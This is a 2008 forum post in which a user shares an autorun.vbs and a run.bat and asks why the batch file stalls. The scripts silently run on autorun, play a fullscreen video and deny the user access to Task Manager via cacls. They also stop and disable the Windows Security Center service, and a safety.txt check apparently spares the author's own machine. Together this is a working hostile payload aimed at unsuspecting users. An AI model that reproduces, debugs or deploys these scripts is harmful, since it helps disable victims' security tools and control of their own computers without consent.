G-Stress Posted January 4, 2008 Share Posted January 4, 2008 For some reason I cannot figure out why this gets stuck autorun.vbs '=====================================... Set WshShell = WScript.CreateObject("WScript.Shell") obj = WshShell.Run(".run.bat", 0) set WshShell = Nothing '=====================================... run.bat @echo off IF EXIST C:safety.txt GOTO END ::Play Video File ================= gdputil.exe -runkill 30 vlc.exe -f --disable-screensaver --quiet Beta.wmv :: Kill VLC =========== taskkill /f /IM vlc.exe :: Disable Task Manager ======================= cacls c:windowssystem32taskmgr.exe /D %COMPUTERNAME%%USERNAME% :: Disable Security Center ========================== net stop wscsvc sc config wscsvc start= disabled exit :END echo random message ping localhost -n 4 >nul exit It runs the video file, kills it after 30 seconds just like im wanting, but then gets stuck on cacls... nothing shows on the screen like im wanting, but I cannot figure out why it gets stuck. At least I assume it gets stuck because it doesn't disable taskmgr and in taskmgr I can see cacls and cmd running under the current username with 00 cpu usage on both. whoops, guess I don't need the taskkill anymore using "gdputil.exe" it is a utility I found that kills vlc after a specified time limit. Seems to work better then sleep.exe in this case. I know it does get to cacls though because I see it in taskmgr... anybody have any idea why it might get stuck? Quote Link to comment Share on other sites More sharing options...
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.